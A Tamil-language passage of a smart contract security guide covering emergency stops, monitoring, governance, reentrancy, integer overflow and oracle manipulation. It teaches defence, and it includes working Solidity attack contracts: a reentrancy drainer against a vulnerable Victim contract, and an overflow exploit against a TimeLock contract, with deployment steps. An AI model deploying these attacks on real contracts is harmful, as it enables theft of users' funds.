ஒப்பந்தம் அவசரகால நிறுத்தத்தைச் செயல்படுத்தியவுடன், சில செயல்பாடுகளை அழைக்க முடியாது. உலகளாவிய மாறியைக் குறிக்கும் மாற்றியமைப்பானில் தேர்ந்தெடுக்கப்பட்ட செயல்பாடுகளை மூடுவதன் மூலம் இது அடையப்படுகிறது. ஒப்பந்தங்களில் இந்த முறையைச் செயல்படுத்துவதை விவரிக்கும் ஒரு உதாரணம் (புதிய தாவலில் திறக்கும்) கீழே கொடுக்கப்பட்டுள்ளது:
// இந்தக் குறியீடு தொழில்முறையாகத் தணிக்கை செய்யப்படவில்லை மற்றும் பாதுகாப்பு அல்லது சரியான தன்மை குறித்து எந்த வாக்குறுதியும் அளிக்கவில்லை. உங்கள் சொந்த ஆபத்தில் பயன்படுத்தவும்.
contract EmergencyStop {
bool isStopped = false;
modifier stoppedInEmergency {
require(!isStopped);
_;
}
modifier onlyWhenStopped {
require(isStopped);
_;
}
modifier onlyAuthorized {
// msg.sender இன் அங்கீகாரத்தை இங்கே சரிபார்க்கவும்
_;
}
function stopContract() public onlyAuthorized {
isStopped = true;
}
function resumeContract() public onlyAuthorized {
isStopped = false;
}
function deposit() public payable stoppedInEmergency {
// வைப்பு தர்க்கம் இங்கே நடக்கிறது
}
function emergencyWithdraw() public onlyWhenStopped {
// அவசரக்கால திரும்பப் பெறுதல் இங்கே நடக்கிறது
}
}
இந்த உதாரணம் அவசரகால நிறுத்தங்களின் அடிப்படை அம்சங்களைக் காட்டுகிறது:
-
isStoppedஎன்பது ஒரு பூலியன் ஆகும், இது தொடக்கத்தில்falseஆகவும், ஒப்பந்தம் அவசரகாலப் பயன்முறையில் நுழையும் போதுtrueஆகவும் மதிப்பிடப்படுகிறது. -
செயல்பாட்டு மாற்றியமைப்பான்களான
onlyWhenStoppedமற்றும்stoppedInEmergencyஆகியவைisStoppedமாறியைச் சரிபார்க்கின்றன. ஒப்பந்தம் பாதிக்கப்படக்கூடியதாக இருக்கும்போது அணுக முடியாததாக இருக்க வேண்டிய செயல்பாடுகளைக் கட்டுப்படுத்தstoppedInEmergencyபயன்படுத்தப்படுகிறது (எ.கா.,deposit()). இந்தச் செயல்பாடுகளுக்கான அழைப்புகள் வெறுமனே மீளமைக்கப்படும்.
அவசர காலத்தில் அழைக்கப்பட வேண்டிய செயல்பாடுகளுக்கு onlyWhenStopped பயன்படுத்தப்படுகிறது (எ.கா., emergencyWithdraw()). இத்தகைய செயல்பாடுகள் நிலைமையைத் தீர்க்க உதவும், எனவே அவை “கட்டுப்படுத்தப்பட்ட செயல்பாடுகள்” பட்டியலிலிருந்து விலக்கப்பட்டுள்ளன.
அவசரகால நிறுத்தச் செயல்பாட்டைப் பயன்படுத்துவது உங்கள் திறன் ஒப்பந்தத்தில் உள்ள தீவிரமான பாதிப்புகளைச் சமாளிக்க ஒரு பயனுள்ள தற்காலிகத் தீர்வை வழங்குகிறது. இருப்பினும், சுயநலக் காரணங்களுக்காக டெவலப்பர்கள் அதைச் செயல்படுத்த மாட்டார்கள் என்று பயனர்கள் நம்ப வேண்டியதன் அவசியத்தை இது அதிகரிக்கிறது. இதற்காக, அவசரகால நிறுத்தத்தின் கட்டுப்பாட்டை ஒரு சங்கிலிசார் வாக்களிப்பு முறை, நேரப்பூட்டு (timelock) அல்லது பல்கையெழுத்துப் பணப்பையின் ஒப்புதலுக்கு உட்படுத்துவதன் மூலம் பரவலாக்குவது சாத்தியமான தீர்வுகளாகும்.
நிகழ்வு கண்காணிப்பு
திறன் ஒப்பந்தச் செயல்பாடுகளுக்கான அழைப்புகளைக் கண்காணிக்கவும், நிலை மாறிகளுக்கான மாற்றங்களைக் கண்காணிக்கவும் நிகழ்வுகள் (புதிய தாவலில் திறக்கும்) உங்களை அனுமதிக்கின்றன. எந்தவொரு தரப்பினரும் பாதுகாப்பு-முக்கியமான நடவடிக்கையை எடுக்கும்போதெல்லாம் (எ.கா., நிதியைத் திரும்பப் பெறுதல்) ஒரு நிகழ்வை வெளியிடுமாறு உங்கள் திறன் ஒப்பந்தத்தை நிரல் செய்வது சிறந்தது.
நிகழ்வுகளைப் பதிவுசெய்தல் மற்றும் அவற்றைப் புறச்சங்கிலியில் கண்காணிப்பது ஒப்பந்தச் செயல்பாடுகள் பற்றிய நுண்ணறிவுகளை வழங்குகிறது மற்றும் தீங்கிழைக்கும் செயல்களை விரைவாகக் கண்டறிய உதவுகிறது. இதன் பொருள் உங்கள் குழு ஹேக்குகளுக்கு விரைவாகப் பதிலளிக்க முடியும் மற்றும் செயல்பாடுகளை இடைநிறுத்துதல் அல்லது மேம்படுத்தலைச் செய்தல் போன்ற பயனர்கள் மீதான தாக்கத்தைத் தணிக்க நடவடிக்கை எடுக்க முடியும்.
யாராவது உங்கள் ஒப்பந்தங்களுடன் தொடர்பு கொள்ளும்போதெல்லாம் தானாகவே விழிப்பூட்டல்களை அனுப்பும் ஆயத்தக் கண்காணிப்புக் கருவியையும் நீங்கள் தேர்வு செய்யலாம். பரிவர்த்தனை அளவு, செயல்பாட்டு அழைப்புகளின் அதிர்வெண் அல்லது சம்பந்தப்பட்ட குறிப்பிட்ட செயல்பாடுகள் போன்ற வெவ்வேறு தூண்டுதல்களின் அடிப்படையில் தனிப்பயன் விழிப்பூட்டல்களை உருவாக்க இந்தக் கருவிகள் உங்களை அனுமதிக்கும். உதாரணமாக, ஒரு பரிவர்த்தனையில் திரும்பப் பெறப்பட்ட தொகை ஒரு குறிப்பிட்ட வரம்பைத் தாண்டும்போது வரும் விழிப்பூட்டலை நீங்கள் நிரல் செய்யலாம்.
7. பாதுகாப்பான ஆளுகை அமைப்புகளை வடிவமைக்கவும்
முக்கியத் திறன் ஒப்பந்தங்களின் கட்டுப்பாட்டைச் சமூக உறுப்பினர்களிடம் ஒப்படைப்பதன் மூலம் உங்கள் பயன்பாட்டைப் பரவலாக்க நீங்கள் விரும்பலாம். இந்த நிலையில், திறன் ஒப்பந்த அமைப்பு ஒரு ஆளுகைத் தொகுதியைக் கொண்டிருக்கும்—இது சமூக உறுப்பினர்கள் சங்கிலிசார் ஆளுகை அமைப்பின் மூலம் நிர்வாக நடவடிக்கைகளுக்கு ஒப்புதல் அளிக்க அனுமதிக்கும் ஒரு வழிமுறையாகும். உதாரணமாக, ஒரு பதிலி ஒப்பந்தத்தைப் புதிய செயலாக்கத்திற்கு மேம்படுத்துவதற்கான முன்மொழிவுக்கு வில்லை வைத்திருப்பவர்கள் வாக்களிக்கலாம்.
பரவலாக்கப்பட்ட ஆளுகை பயனுள்ளதாக இருக்கும், குறிப்பாக இது டெவலப்பர்கள் மற்றும் இறுதிப் பயனர்களின் நலன்களைச் சீரமைக்கிறது. ஆயினும்கூட, திறன் ஒப்பந்த ஆளுகை வழிமுறைகள் தவறாகச் செயல்படுத்தப்பட்டால் புதிய அபாயங்களை அறிமுகப்படுத்தலாம். ஒரு தாக்குபவர் உடனடி கடனை எடுப்பதன் மூலம் மகத்தான வாக்குரிமையைப் பெற்று (வைத்திருக்கும் வில்லைகளின் எண்ணிக்கையில் அளவிடப்படுகிறது) தீங்கிழைக்கும் முன்மொழிவைத் தள்ளுவது ஒரு சாத்தியமான காட்சியாகும்.
சங்கிலிசார் ஆளுகை தொடர்பான சிக்கல்களைத் தடுப்பதற்கான ஒரு வழி நேரப்பூட்டைப் பயன்படுத்துவதாகும் (புதிய தாவலில் திறக்கும்). ஒரு குறிப்பிட்ட அளவு நேரம் கடக்கும் வரை ஒரு திறன் ஒப்பந்தம் சில செயல்களைச் செயல்படுத்துவதை நேரப்பூட்டு தடுக்கிறது. ஒவ்வொரு வில்லைக்கும் அது எவ்வளவு காலம் பூட்டப்பட்டுள்ளது என்பதன் அடிப்படையில் “வாக்கு எடையை” ஒதுக்குவது அல்லது தற்போதைய தொகுதிக்குப் பதிலாக ஒரு வரலாற்று காலத்தில் (உதாரணமாக, கடந்த காலத்தில் 2-3 தொகுதிகள்) ஒரு முகவரியின் வாக்குரிமையை அளவிடுவது ஆகியவை பிற உத்திகளில் அடங்கும். இரண்டு முறைகளும் சங்கிலிசார் வாக்குகளை மாற்றுவதற்கு வாக்குரிமையை விரைவாகக் குவிக்கும் சாத்தியத்தைக் குறைக்கின்றன.
பகிரப்பட்ட இணைப்புகளில் பாதுகாப்பான ஆளுகை அமைப்புகளை வடிவமைத்தல் (புதிய தாவலில் திறக்கும்), பன்முகப்படுத்தப்பட்ட தன்னாட்சி அமைப்புகளில் (DAO) வெவ்வேறு வாக்களிப்பு வழிமுறைகள் (புதிய தாவலில் திறக்கும்), மற்றும் பரவலாக்கப்பட்ட நிதியைப் (DeFi) பயன்படுத்தும் பொதுவான DAO தாக்குதல் திசையன்கள் (புதிய தாவலில் திறக்கும்) பற்றி மேலும் அறியலாம்.
8. குறியீட்டில் உள்ள சிக்கலைக் குறைந்தபட்சமாகக் குறைக்கவும்
பாரம்பரிய மென்பொருள் உருவாக்குநர்கள் KISS (“அதை எளிமையாக வைத்திருங்கள், முட்டாள்”) கொள்கையை நன்கு அறிவார்கள், இது மென்பொருள் வடிவமைப்பில் தேவையற்ற சிக்கலை அறிமுகப்படுத்துவதற்கு எதிராக அறிவுறுத்துகிறது. இது “சிக்கலான அமைப்புகள் சிக்கலான வழிகளில் தோல்வியடைகின்றன” மற்றும் விலையுயர்ந்த பிழைகளுக்கு அதிக வாய்ப்புள்ளது என்ற நீண்டகால சிந்தனையைப் பின்பற்றுகிறது.
திறன் ஒப்பந்தங்கள் அதிக அளவிலான மதிப்பைக் கட்டுப்படுத்தும் ஆற்றலைக் கொண்டுள்ளன என்பதால், திறன் ஒப்பந்தங்களை எழுதும்போது விஷயங்களை எளிமையாக வைத்திருப்பது மிகவும் முக்கியமானது. திறன் ஒப்பந்தங்களை எழுதும்போது எளிமையை அடைவதற்கான ஒரு குறிப்பு, முடிந்தவரை ஓப்பன்செப்பெலின் ஒப்பந்தங்கள் (புதிய தாவலில் திறக்கும்) போன்ற ஏற்கனவே உள்ள நிரலகங்களை மீண்டும் பயன்படுத்துவதாகும். இந்த நிரலகங்கள் டெவலப்பர்களால் விரிவாகத் தணிக்கை செய்யப்பட்டுச் சோதிக்கப்பட்டிருப்பதால், அவற்றைப் பயன்படுத்துவது புதிதாகப் புதிய செயல்பாட்டை எழுதுவதன் மூலம் பிழைகளை அறிமுகப்படுத்தும் வாய்ப்புகளைக் குறைக்கிறது.
சிறிய செயல்பாடுகளை எழுதுவதும், வணிகத் தர்க்கத்தைப் பல ஒப்பந்தங்களில் பிரிப்பதன் மூலம் ஒப்பந்தங்களை மட்டுப்படுத்தப்பட்டதாக (modular) வைத்திருப்பதும் மற்றொரு பொதுவான ஆலோசனையாகும். எளிமையான குறியீட்டை எழுதுவது திறன் ஒப்பந்தத்தில் தாக்குதல் மேற்பரப்பைக் குறைப்பது மட்டுமல்லாமல், ஒட்டுமொத்த அமைப்பின் சரியான தன்மையைப் பற்றி நியாயப்படுத்துவதையும் சாத்தியமான வடிவமைப்புப் பிழைகளை முன்கூட்டியே கண்டறிவதையும் எளிதாக்குகிறது.
9. பொதுவான திறன் ஒப்பந்தப் பாதிப்புகளுக்கு எதிராகப் பாதுகாக்கவும்
மறுநுழைவு
எத்தேரியம் மெய்நிகர் இயந்திரம் (EVM) ஒத்திசைவை (concurrency) அனுமதிக்காது, அதாவது செய்தி அழைப்பில் ஈடுபட்டுள்ள இரண்டு ஒப்பந்தங்கள் ஒரே நேரத்தில் இயங்க முடியாது. ஒரு வெளிப்புற அழைப்பு, அழைப்பு திரும்பும் வரை அழைக்கும் ஒப்பந்தத்தின் செயலாக்கம் மற்றும் நினைவகத்தை இடைநிறுத்துகிறது, அந்த நேரத்தில் செயலாக்கம் சாதாரணமாகத் தொடரும். இந்தச் செயல்முறையை மற்றொரு ஒப்பந்தத்திற்கு கட்டுப்பாட்டு ஓட்டத்தை (control flow) (புதிய தாவலில் திறக்கும்) மாற்றுவது என முறையாக விவரிக்கலாம்.
பெரும்பாலும் பாதிப்பில்லாதது என்றாலும், நம்பத்தகாத ஒப்பந்தங்களுக்குக் கட்டுப்பாட்டு ஓட்டத்தை மாற்றுவது மறுநுழைவு போன்ற சிக்கல்களை ஏற்படுத்தலாம். அசல் செயல்பாட்டு அழைப்பு முடிவதற்கு முன்பு ஒரு தீங்கிழைக்கும் ஒப்பந்தம் பாதிக்கப்படக்கூடிய ஒப்பந்தத்திற்குத் திரும்ப அழைக்கும்போது மறுநுழைவுத் தாக்குதல் ஏற்படுகிறது. இந்த வகையான தாக்குதலை ஒரு உதாரணத்துடன் சிறப்பாக விளக்கலாம்.
எவரும் ஈதரை டெபாசிட் செய்யவும் திரும்பப் பெறவும் அனுமதிக்கும் எளிய திறன் ஒப்பந்தத்தை (‘பாதிக்கப்பட்டவர்’) கவனியுங்கள்:
// இந்த ஒப்பந்தம் பாதிக்கப்படக்கூடியது. தயாரிப்பில் பயன்படுத்த வேண்டாம்
contract Victim {
mapping (address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
(bool success, ) = msg.sender.call.value(amount)("");
require(success);
balances[msg.sender] = 0;
}
}
இந்த ஒப்பந்தம் பயனர்கள் முன்பு ஒப்பந்தத்தில் டெபாசிட் செய்த ETH ஐத் திரும்பப் பெற அனுமதிக்க withdraw() செயல்பாட்டை வெளிப்படுத்துகிறது. திரும்பப் பெறுதலைச் செயலாக்கும்போது, ஒப்பந்தம் பின்வரும் செயல்பாடுகளைச் செய்கிறது:
- பயனரின் ETH இருப்பைச் சரிபார்க்கிறது
- அழைக்கும் முகவரிக்கு நிதியை அனுப்புகிறது
- அவர்களின் இருப்பை 0 ஆக மீட்டமைக்கிறது, பயனரிடமிருந்து கூடுதல் திரும்பப் பெறுதல்களைத் தடுக்கிறது
Victim ஒப்பந்தத்தில் உள்ள withdraw() செயல்பாடு “சரிபார்ப்புகள்-தொடர்புகள்-விளைவுகள் (checks-interactions-effects)” முறையைப் பின்பற்றுகிறது. பரிவர்த்தனையின் விளைவுகளைப் பயன்படுத்துவதற்கு முன்பு (அதாவது, பயனரின் இருப்பைக் குறைத்தல்), செயலாக்கத்திற்குத் தேவையான நிபந்தனைகள் பூர்த்தி செய்யப்பட்டுள்ளதா என்பதை இது சரிபார்க்கிறது (அதாவது, பயனருக்கு நேர்மறையான ETH இருப்பு உள்ளது) மற்றும் அழைப்பாளரின் முகவரிக்கு ETH ஐ அனுப்புவதன் மூலம் தொடர்பைச் செய்கிறது.
வெளிப்புறமாக சொந்தமான கணக்கிலிருந்து (EOA) withdraw() அழைக்கப்பட்டால், செயல்பாடு எதிர்பார்த்தபடி செயல்படும்: msg.sender.call.value() அழைப்பாளருக்கு ETH ஐ அனுப்புகிறது. இருப்பினும், msg.sender என்பது ஒரு திறன் ஒப்பந்தக் கணக்காக இருந்து withdraw() ஐ அழைத்தால், msg.sender.call.value() ஐப் பயன்படுத்தி நிதியை அனுப்புவது அந்த முகவரியில் சேமிக்கப்பட்டுள்ள குறியீட்டையும் இயங்கத் தூண்டும்.
ஒப்பந்த முகவரியில் நிலைநிறுத்தப்பட்டுள்ள குறியீடு இது என்று கற்பனை செய்து பாருங்கள்:
contract Attacker {
function beginAttack() external payable {
Victim(victim_address).deposit.value(1 ether)();
Victim(victim_address).withdraw();
}
function() external payable {
if (gasleft() > 40000) {
Victim(victim_address).withdraw();
}
}
}
இந்த ஒப்பந்தம் மூன்று விஷயங்களைச் செய்ய வடிவமைக்கப்பட்டுள்ளது:
- மற்றொரு கணக்கிலிருந்து டெபாசிட்டை ஏற்கவும் (தாக்குபவரின் EOA ஆக இருக்கலாம்)
- பாதிக்கப்பட்டவரின் ஒப்பந்தத்தில் 1 ETH ஐ டெபாசிட் செய்யவும்
- திறன் ஒப்பந்தத்தில் சேமிக்கப்பட்டுள்ள 1 ETH ஐத் திரும்பப் பெறவும்
உள்வரும் msg.sender.call.value இலிருந்து மீதமுள்ள எரிவாயு 40,000 க்கும் அதிகமாக இருந்தால், Victim இல் உள்ள withdraw() ஐ மீண்டும் அழைக்கும் மற்றொரு செயல்பாட்டை Attacker கொண்டுள்ளது என்பதைத் தவிர, இதில் எந்தத் தவறும் இல்லை. இது withdraw இன் முதல் அழைப்பு முடிவதற்கு முன்பு Victim இல் மீண்டும் நுழைந்து அதிக நிதியைத் திரும்பப் பெறும் திறனை Attacker க்கு வழங்குகிறது. சுழற்சி இதுபோல் தெரிகிறது:
- Attacker's EOA calls `Attacker.beginAttack()` with 1 ETH
- `Attacker.beginAttack()` deposits 1 ETH into `Victim`
- `Attacker` calls `withdraw() in `Victim`
- `Victim` checks `Attacker`’s balance (1 ETH)
- `Victim` sends 1 ETH to `Attacker` (which triggers the default function)
- `Attacker` calls `Victim.withdraw()` again (note that `Victim` hasn’t reduced `Attacker`’s balance from the first withdrawal)
- `Victim` checks `Attacker`’s balance (which is still 1 ETH because it hasn’t applied the effects of the first call)
- `Victim` sends 1 ETH to `Attacker` (which triggers the default function and allows `Attacker` to reenter the `withdraw` function)
- The process repeats until `Attacker` runs out of gas, at which point `msg.sender.call.value` returns without triggering additional withdrawals
- `Victim` finally applies the results of the first transaction (and subsequent ones) to its state, so `Attacker`’s balance is set to 0
சுருக்கம் என்னவென்றால், செயல்பாட்டுச் செயலாக்கம் முடியும் வரை அழைப்பாளரின் இருப்பு 0 ஆக அமைக்கப்படாததால், அடுத்தடுத்த அழைப்புகள் வெற்றியடையும் மற்றும் அழைப்பாளர் தங்கள் இருப்பைப் பல முறை திரும்பப் பெற அனுமதிக்கும். 2016 DAO ஹேக்கில் (புதிய தாவலில் திறக்கும்) நடந்தது போல, ஒரு திறன் ஒப்பந்தத்தின் நிதியை முழுமையாக வெளியேற்ற இந்த வகையான தாக்குதலைப் பயன்படுத்தலாம். மறுநுழைவுச் சுரண்டல்களின் பொதுப் பட்டியல்கள் (புதிய தாவலில் திறக்கும்) காட்டுவது போல, மறுநுழைவுத் தாக்குதல்கள் இன்றும் திறன் ஒப்பந்தங்களுக்கு ஒரு முக்கியமான சிக்கலாக உள்ளன.
மறுநுழைவுத் தாக்குதல்களை எவ்வாறு தடுப்பது
மறுநுழைவைக் கையாள்வதற்கான ஒரு அணுகுமுறை சரிபார்ப்புகள்-விளைவுகள்-தொடர்புகள் முறையைப் (checks-effects-interactions pattern) (புதிய தாவலில் திறக்கும்) பின்பற்றுவதாகும். இந்த முறை செயல்பாடுகளின் செயலாக்கத்தை வரிசைப்படுத்துகிறது, அதாவது செயலாக்கத்தைத் தொடர்வதற்கு முன்பு தேவையான சரிபார்ப்புகளைச் செய்யும் குறியீடு முதலில் வரும், அதைத் தொடர்ந்து ஒப்பந்த நிலையைக் கையாளும் குறியீடு வரும், மற்ற ஒப்பந்தங்கள் அல்லது EOA களுடன் தொடர்பு கொள்ளும் குறியீடு கடைசியாக வரும்.
கீழே காட்டப்பட்டுள்ள Victim ஒப்பந்தத்தின் திருத்தப்பட்ட பதிப்பில் சரிபார்ப்புகள்-விளைவு-தொடர்பு முறை பயன்படுத்தப்படுகிறது:
contract NoLongerAVictim {
function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call.value(amount)("");
require(success);
}
}
இந்த ஒப்பந்தம் பயனரின் இருப்பில் ஒரு சரிபார்ப்பைச் செய்கிறது, withdraw() செயல்பாட்டின் விளைவுகளைப் பயன்படுத்துகிறது (பயனரின் இருப்பை 0 ஆக மீட்டமைப்பதன் மூலம்), மற்றும் தொடர்பைச் செய்யத் தொடர்கிறது (பயனரின் முகவரிக்கு ETH ஐ அனுப்புதல்). இது வெளிப்புற அழைப்பிற்கு முன்பு ஒப்பந்தம் அதன் சேமிப்பகத்தைப் புதுப்பிப்பதை உறுதி செய்கிறது, முதல் தாக்குதலைச் செயல்படுத்திய மறுநுழைவு நிபந்தனையை நீக்குகிறது. Attacker ஒப்பந்தம் இன்னும் NoLongerAVictim க்குத் திரும்ப அழைக்கலாம், ஆனால் balances[msg.sender] 0 ஆக அமைக்கப்பட்டிருப்பதால், கூடுதல் திரும்பப் பெறுதல்கள் பிழையை எறியும்.
மற்றொரு விருப்பம் பரஸ்பர விலக்கு பூட்டைப் (பொதுவாக "மியூடெக்ஸ் (mutex)" என விவரிக்கப்படுகிறது) பயன்படுத்துவதாகும், இது ஒரு செயல்பாட்டு அழைப்பு முடியும் வரை ஒப்பந்தத்தின் நிலையின் ஒரு பகுதியைப் பூட்டுகிறது. செயல்பாடு செயல்படுத்துவதற்கு முன்பு true என அமைக்கப்பட்டு, அழைப்பு முடிந்ததும் false என மாறும் பூலியன் மாறியைப் பயன்படுத்தி இது செயல்படுத்தப்படுகிறது. கீழே உள்ள எடுத்துக்காட்டில் காணப்படுவது போல, மியூடெக்ஸைப் பயன்படுத்துவது அசல் அழைப்பு இன்னும் செயலாக்கப்படும்போது சுழல்நிலை அழைப்புகளுக்கு (recursive calls) எதிராக ஒரு செயல்பாட்டைப் பாதுகாக்கிறது, இது மறுநுழைவைச் சிறப்பாக நிறுத்துகிறது.
pragma solidity ^0.7.0;
contract MutexPattern {
bool locked = false;
mapping(address => uint256) public balances;
modifier noReentrancy() {
require(!locked, "Blocked from reentrancy.");
locked = true;
_;
locked = false;
}
// இந்தச் செயல்பாடு ஒரு மியூடெக்ஸ் (mutex) மூலம் பாதுகாக்கப்படுகிறது, எனவே `msg.sender.call` க்குள் இருந்து வரும் மறுநுழைவு அழைப்புகள் மீண்டும் `withdraw` ஐ அழைக்க முடியாது.
// `return` கூற்று `true` என மதிப்பிடப்படுகிறது, ஆனால் மாற்றியில் (modifier) உள்ள `locked = false` கூற்றை இன்னும் மதிப்பிடுகிறது
function withdraw(uint _amount) public payable noReentrancy returns(bool) {
require(balances[msg.sender] >= _amount, "No balance to withdraw.");
balances[msg.sender] -= _amount;
(bool success, ) = msg.sender.call{value: _amount}("");
require(success);
return true;
}
}
கணக்குகளுக்கு நிதியை அனுப்பும் "புஷ் பேமெண்ட்ஸ் (push payments)" அமைப்பிற்குப் பதிலாக, பயனர்கள் திறன் ஒப்பந்தங்களிலிருந்து நிதியைத் திரும்பப் பெற வேண்டிய புல் பேமெண்ட்ஸ் (pull payments) (புதிய தாவலில் திறக்கும்) அமைப்பையும் நீங்கள் பயன்படுத்தலாம். இது அறியப்படாத முகவரிகளில் கவனக்குறைவாகக் குறியீட்டைத் தூண்டும் சாத்தியத்தை நீக்குகிறது (மேலும் சில சேவை மறுப்புத் தாக்குதல்களையும் (denial-of-service attacks) தடுக்கலாம்).
முழு எண் குறைவு மற்றும் அளவுமீறல்கள் (Integer underflows and overflows)
ஒரு எண்கணிதச் செயல்பாட்டின் முடிவுகள் ஏற்றுக்கொள்ளக்கூடிய மதிப்புகளின் வரம்பிற்கு வெளியே விழும்போது முழு எண் அளவுமீறல் (integer overflow) ஏற்படுகிறது, இதனால் அது பிரதிநிதித்துவப்படுத்தக்கூடிய மிகக் குறைந்த மதிப்பிற்கு "உருளுகிறது (roll over)". உதாரணமாக, ஒரு uint8 2^8-1=255 வரையிலான மதிப்புகளை மட்டுமே சேமிக்க முடியும். 255 ஐ விட அதிக மதிப்புகளை விளைவிக்கும் எண்கணிதச் செயல்பாடுகள் அளவுமீறி uint ஐ 0 ஆக மீட்டமைக்கும், இது ஒரு காரில் உள்ள ஓடோமீட்டர் அதிகபட்ச மைலேஜை (999999) அடைந்தவுடன் 0 ஆக மீட்டமைக்கப்படுவதைப் போன்றது.
முழு எண் குறைவுகளும் (Integer underflows) இதே காரணங்களுக்காக நிகழ்கின்றன: ஒரு எண்கணிதச் செயல்பாட்டின் முடிவுகள் ஏற்றுக்கொள்ளக்கூடிய வரம்பிற்குக் கீழே விழுகின்றன. ஒரு uint8 இல் 0 ஐக் குறைக்க முயற்சித்தீர்கள் என்று வைத்துக்கொள்வோம், முடிவு வெறுமனே பிரதிநிதித்துவப்படுத்தக்கூடிய அதிகபட்ச மதிப்பிற்கு (255) உருளும்.
முழு எண் அளவுமீறல்கள் மற்றும் குறைவுகள் இரண்டும் ஒரு ஒப்பந்தத்தின் நிலை மாறிகளில் எதிர்பாராத மாற்றங்களுக்கு வழிவகுக்கும் மற்றும் திட்டமிடப்படாத செயலாக்கத்தை விளைவிக்கும். தவறான செயல்பாட்டைச் செய்ய ஒரு திறன் ஒப்பந்தத்தில் எண்கணித அளவுமீறலைத் தாக்குபவர் எவ்வாறு பயன்படுத்திக் கொள்ளலாம் என்பதைக் காட்டும் உதாரணம் கீழே கொடுக்கப்பட்டுள்ளது:
pragma solidity ^0.7.6;
// இந்த ஒப்பந்தம் ஒரு நேர பெட்டகமாக செயல்படும் வகையில் வடிவமைக்கப்பட்டுள்ளது.
// பயனர் இந்த ஒப்பந்தத்தில் வைப்பு செய்யலாம், ஆனால் குறைந்தது ஒரு வாரத்திற்கு திரும்பப் பெற முடியாது.
// பயனர் காத்திருப்பு நேரத்தை 1 வார காத்திருப்பு காலத்திற்கு அப்பாலும் நீட்டிக்க முடியும்.
/*
1. TimeLock ஐப் பயன்படுத்தவும்
2. TimeLock இன் முகவரியுடன் Attack ஐப் பயன்படுத்தவும்
3. 1 ஈதரை (ether) அனுப்பி Attack.attack ஐ அழைக்கவும். உங்களால் உடனடியாக உங்கள் ஈதரைத் திரும்பப் பெற முடியும்.
என்ன நடந்தது?
Attack ஆனது TimeLock.lockTime ஐ அளவுமீறல் செய்யக் காரணமானது மற்றும் 1 வார காத்திருப்பு காலத்திற்கு முன்பே திரும்பப் பெற முடிந்தது.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
t = தற்போதைய பூட்டு நேரம் என்றால், நாம் x ஐக் கண்டறிய வேண்டும், அதாவது
x + t = 2**256 = 0
எனவே x = -t
2**256 = type(uint).max + 1
எனவே x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
முழு எண் குறைவு மற்றும் அளவுமீறல்களை எவ்வாறு தடுப்பது
பதிப்பு 0.8.0 இன் படி, முழு எண் குறைவுகள் மற்றும் அளவுமீறல்களை விளைவிக்கும் குறியீட்டை Solidity தொகுப்பி நிராகரிக்கிறது. இருப்பினும், குறைந்த தொகுப்பி பதிப்பைக் கொண்டு தொகுக்கப்பட்ட ஒப்பந்தங்கள் எண்கணிதச் செயல்பாடுகளை உள்ளடக்கிய செயல்பாடுகளில் சரிபார்ப்புகளைச் செய்ய வேண்டும் அல்லது குறைவு/அளவுமீறலைச் சரிபார்க்கும் நிரலகத்தைப் (எ.கா., SafeMath (புதிய தாவலில் திறக்கும்)) பயன்படுத்த வேண்டும்.
தரவு வழங்கி கையாளுதல் (Oracle manipulation)
தரவு வழங்கிகள் புறச்சங்கிலித் தகவலைப் பெற்று, திறன் ஒப்பந்தங்கள் பயன்படுத்துவதற்காக அதைச் சங்கிலிசார் அனுப்புகின்றன. தரவு வழங்கிகள் மூலம், மூலதனச் சந்தைகள் போன்ற புறச்சங்கிலி அமைப்புகளுடன் இயங்கக்கூடிய திறன் ஒப்பந்தங்களை நீங்கள் வடிவமைக்கலாம், இது அவற்றின் பயன்பாட்டைப் பெரிதும் விரிவுபடுத்துகிறது.
ஆனால் தரவு வழங்கி சிதைக்கப்பட்டு, தவறான தகவலைச் சங்கிலிசார் அனுப்பினால், திறன் ஒப்பந்தங்கள் தவறான உள்ளீடுகளின் அடிப்படையில் செயல்படும், இது சிக்கல்களை ஏற்படுத்தலாம். இது “ஆரக்கிள் சிக்கலின்” அடிப்படையாகும், இது பிளாக்செயின் ஆரக்கிளிலிருந்து வரும் தகவல் துல்லியமானது, புதுப்பித்த நிலையில் உள்ளது மற்றும் சரியான நேரத்தில் உள்ளது என்பதை உறுதி செய்யும் பணியைப் பற்றியது.
ஒரு சொத்தின் உடனடி விலையைப் (spot price) பெற, பரவலாக்கப்பட்ட பரிமாற்றம் (DEX) போன்ற சங்கிலிசார் தரவு வழங்கியைப் பயன்படுத்துவது தொடர்புடைய பாதுகாப்புக் கவலையாகும். பரவலாக்கப்பட்ட நிதி (DeFi) துறையில் உள்ள கடனளிப்புத் தளங்கள், ஒரு பயனர் எவ்வளவு கடன் வாங்கலாம் என்பதைத் தீர்மானிக்க, பயனரின் பிணையத்தின் மதிப்பைத் தீர்மானிக்க இதை அடிக்கடி செய்கின்றன.
DEX விலைகள் பெரும்பாலும் துல்லியமானவை, சந்தைகளில் சமநிலையை மீட்டெடுக்கும் ஆர்பிட்ரேஜர்கள் (arbitrageurs) இதற்குக் காரணமாகும். இருப்பினும், அவை கையாளுதலுக்குத் திறந்திருக்கும், குறிப்பாகச் சங்கிலிசார் தரவு வழங்கி வரலாற்று வர்த்தக முறைகளின் அடிப்படையில் சொத்து விலைகளைக் கணக்கிட்டால் (பொதுவாக இதுவே நடக்கும்).
